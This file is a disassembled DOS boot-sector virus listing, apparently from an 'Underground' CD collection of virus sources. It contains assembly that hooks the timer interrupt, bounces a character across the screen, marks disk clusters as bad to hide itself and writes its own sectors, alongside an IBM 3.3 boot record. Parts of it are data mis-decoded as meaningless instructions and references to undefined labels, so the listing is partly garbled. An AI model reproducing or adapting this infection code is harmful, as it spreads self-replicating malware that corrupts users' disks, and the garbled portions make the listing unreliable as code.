Underground/Underground CD1.iso/virii/zrodla/b/boot2.asm

Assembly Source File | 1998-01-14 | 6.1 KB | 413 lines

    name    boot2_asm
    .radix    16

n_000100:
    inc    word ptr [7DF3]
    mov    bx,[7DF3]
    add    byte ptr [7EB2],2
    call    n_FFFF9D
    jmp    short n_00014B

n_000112:
    mov    ax,3
    test    byte ptr [7DF7],4
    je    n_00011D
    inc    ax
n_00011D:
    mul    si
    shr    ax,1
    sub    ah,byte ptr [7EB2]
    mov    bx,ax
    cmp    bx,1FF
    jnb    n_000100
    mov    dx,[bx+8000]
    test    byte ptr [7DF7],4
    jne    n_000145
    mov    cl,4
    test    si,1
    je    n_000142
    shr    dx,cl
n_000142:
    and    dh,0F
n_000145:
    test    dx,0FFFF
    jz    n_000151
n_00014B:
    inc    si
    cmp    si,di
    jbe    n_000112
    ret

n_000151:
    mov    dx,0FFF7
    test    byte ptr [7DF7],4
    jnz    n_000168
    and    dh,0F
    mov    cl,4
    test    si,1
    je    n_000168
    shl    dx,cl
n_000168:
    or    [bx+8000],dx
    mov    bx,[7DF3]
    call    n_FFFF98
    mov    ax,si
    sub    ax,2
    mov    bl,byte ptr [7C0Dh]
    xor    bh,bh
    mul    bx
    add    ax,[7DF5]
    mov    si,ax
    mov    bx,0
    call    n_FFFF9D
    mov    bx,si
    inc    bx
    call    n_FFFF98
    mov    bx,si
    mov    [7DF9],si
    push    cs
    pop    ax
    sub    ax,20
    mov    es,ax
    call    n_FFFF98
    push    cs
    pop    ax
    sub    ax,40
    mov    es,ax
    mov    bx,0
    call    n_FFFF98
    ret

    mov    ch,23
    add    dh,dh
    push    es
    idiv    word ptr [di+2]
    jne    n_0001DE
    or    byte ptr [7DF7],2
    mov    ax,0
    mov    ds,ax
    mov    ax,[20]
    mov    bx,[22]
    mov    [20],7EDF
    mov    [22],cs
    push    cs
    pop    ds
    mov    [7FC9],ax
    mov    [7FCBh],bx
n_0001DE:
    ret

    push    ds
    push    ax
    push    bx
    push    cx
    push    dx
    push    cs
    pop    ds
    mov    ah,0F        ;Get video mode
    int    10
    mov    bl,al
    cmp    bx,[7FD4]
    je    n_000227
    mov    [7FD4],bx
    dec    ah
    mov    byte ptr [7FD6],ah
    mov    ah,1
    cmp    bl,7
    jne    n_000205
    dec    ah
n_000205:
    cmp    bl,4
    jnb    n_00020C
    dec    ah
n_00020C:
    mov    byte ptr [7FD3],ah
    mov    word ptr [7FCF],101
    mov    word ptr [7FD1],101
    mov    ah,3        ;Read cursor position
    int    10
    push    dx
    mov    dx,[7FCF]
    jmp    short n_00024A

n_000227:
    mov    ah,3        ;Read cursor position
    int    10
    push    dx
    mov    ah,2        ;Set cursor position
    mov    dx,[7FCF]
    int    10
    mov    ax,[7FCDh]
    cmp    byte ptr [7FD3],1
    jne    n_000241
    mov    ax,8307
n_000241:
    mov    bl,ah
    mov    cx,1
    mov    ah,9        ;Write character with attribute
    int    10
n_00024A:
    mov    cx,[7FD1]
    cmp    dh,0
    jne    n_000258
    xor    ch,0FF
    inc    ch
n_000258:
    cmp    dh,18
    jne    n_000262
    xor    ch,0FF
    inc    ch
n_000262:
    cmp    dl,0
    jne    n_00026C
    xor    cl,0FF
    inc    cl
n_00026C:
    cmp    dl,byte ptr [7FD6]
    jne    n_000277
    xor    cl,0FF
    inc    cl
n_000277:
    cmp    cx,[7FD1]
    jne    n_000294
    mov    ax,[7FCDh]
    and    al,7
    cmp    al,3
    jne    n_00028B
    xor    ch,0FF
    inc    ch
n_00028B:
    cmp    al,5
    jne    n_000294
    xor    cl,0FF
    inc    cl
n_000294:
    add    dl,cl
    add    dh,ch
    mov    [7FD1],cx
    mov    [7FCF],dx
    mov    ah,2        ;Set cursor position
    int    10
    mov    ah,8        ;Read character with attribute
    int    10
    mov    [7FCDh],ax
    mov    bl,ah
    cmp    byte ptr [7FD3],1
    jne    n_0002B6
    mov    bl,83
n_0002B6:
    mov    cx,1
    mov    ax,907        ;Write character '\7' with attribute
    int    10
    pop    dx
    mov    ah,2        ;Set cursor position
    int    10
    pop    dx
    pop    cx
    pop    bx
    pop    ax
    pop    ds
    jmp    far ptr f_000020

    add    byte ptr [bx+si],al
    add    word ptr [bx+di],ax
    add    word ptr [bx+di],ax
    add    bh,bh
    call    word ptr [bx+si-49]
    mov    bh,0B7
    mov    dh,40
    inc    ax
    mov    dh,bl
    out    5A,al
    lodsb
    shl    ah,cl
    jmp    far ptr f_0F05E6

    db    '@d\`R@@@@db^b`'

    pop    si
    jo    n_000368
    inc    ax
    inc    cx
    mov    bh,0B7
    mov    bh,0B6
    jmp    n_000336

    db    'IBM  3.3'
    dw    200
    db    2
    dw    1
    db    2
    dw    70
    dw    2D0
    db    0FDh
    dw    2
    dw    9
    dw    2
    dw    0

    db    0011h dup (000h)
    adc    al,byte ptr [bx][si]
    add    byte ptr [bx][si],al
    add    byte ptr [bx][di],al
    add    dl,bh

boot2:
    xor    ax,ax
    mov    ss,ax
    mov    sp,7C00
    push    ss
    pop    es
    mov    bx,78
    lds    si,ss:[bx]
    push    ds
    push    si
    push    ss
    push    bx
    mov    di,7C2Bh
    mov    cx,0Bh
    cld
n_000351:
    lodsb
    cmp    byte ptr es:[di],0
    je    n_00035B
    mov    al,byte ptr es:[di]
n_00035B:
    stosb
    mov    al,ah
    loop    n_000351
    push    es
    pop    ds
    mov    [bx+2],ax
    mov    [bx],7C2Bh
    sti
    int    13
    jc    n_0003D5
    mov    al,byte ptr [7C10]
    cbw
    mul    word ptr [7C16]
    add    ax,[7C1C]
    add    ax,[7C0E]
    mov    [7C3F],ax
    mov    [7C37],ax
    mov    ax,20
    mul    word ptr [7C11]
    mov    bx,[7C0Bh]
    add    ax,bx
    dec    ax
    div    bx
    add    [7C37],ax
    mov    bx,500
    mov    ax,[7C3F]
    call    n_000440
    mov    ax,201
    call    n_00045A
    jb    n_0003C2
    mov    di,bx
    mov    cx,0Bh
    mov    si,7DD6
    rep    cmpsb
    jne    n_0003C2
    lea    di,[bx+20]
    mov    si,7DE1
    mov    cx,0Bh
    rep    cmpsb
    je    n_0003DA
n_0003C2:
    mov    si,7D77
n_0003C5:
    call    n_000432
    xor    ah,ah
    int    16
    pop    si
    pop    ds
    pop    [si]
    pop    [si+2]
    int    19

n_0003D5:
    mov    si,7DC0
    jmp    n_0003C5

n_0003DA:
    mov    ax,[51C]
    xor    dx,dx
    div    word ptr [7C0Bh]
    inc    al
    mov    [7C3C],al
    mov    ax,[7C37]
    mov    [7C3Dh],ax
    mov    bx,700
n_0003F1:
    mov    ax,[7C37]
    call    n_000440
    mov    ax,[7C18]
    sub    al,[7C3Bh]
    inc    ax
    cmp    [7C3C],al
    jnb    n_000408
    mov    al,[7C3Ch]
n_000408:
    push    ax
    call    n_00045A
    pop    ax
    jb    n_0003D5
    sub    [7C3C],al
    je    n_000421
    add    [7C37],ax
    mul    word ptr [7C0Bh]
    add    bx,ax
    jmp    n_0003F1
n_000421:
    mov    ch,[7C15]
    mov    dl,[7DFDh]
    mov    bx,[7C3Dh]
    jmp    far ptr f_000700

n_000432:
    lodsb
    or    al,al
    je    n_000459
    mov    ah,0E        ;Write character in TTY graphics mode
    mov    bx,7
    int    10
    jmp    n_000432

n_000440:
    xor    dx,dx
    div    word ptr [7C18]
    inc    dl
    mov    [7C3Bh],dl
    xor    dx,dx
    div    word ptr [7C1A]
    mov    [7C2A],dl
    mov    [7C39],ax
n_000459:
    ret

n_00045A:
    mov    ah,2
    mov    dx,[7C39]
    mov    cl,6
    shl    dh,cl
    or    dh,[7C3Bh]
    mov    cx,dx
    xchg    ch,cl
    mov    dl,[7DFDh]
    mov    dh,[7C2A]
    int    13
    ret

    db    0Dh,0A,'Non-System disk or disk error',0Dh,0A
    db    'Replace and strike any key when ready',0Dh,0A,0
    db    0Dh,0A,'Disk Boot failure',0Dh,0A,0
    db    'IBMBIO  SYS'
    db    'IBMDOS  SYS'
    db    12 dup (0)
    dw    0AA55

    extrn    f_000020:far,n_000336:near,n_000368:near
    extrn    n_FFFF9D:near,n_FFFF98:near
    extrn    f_000700:far,f_0F05E6:far,f_3FFF98:far
    extrn    f_3FFF9D:far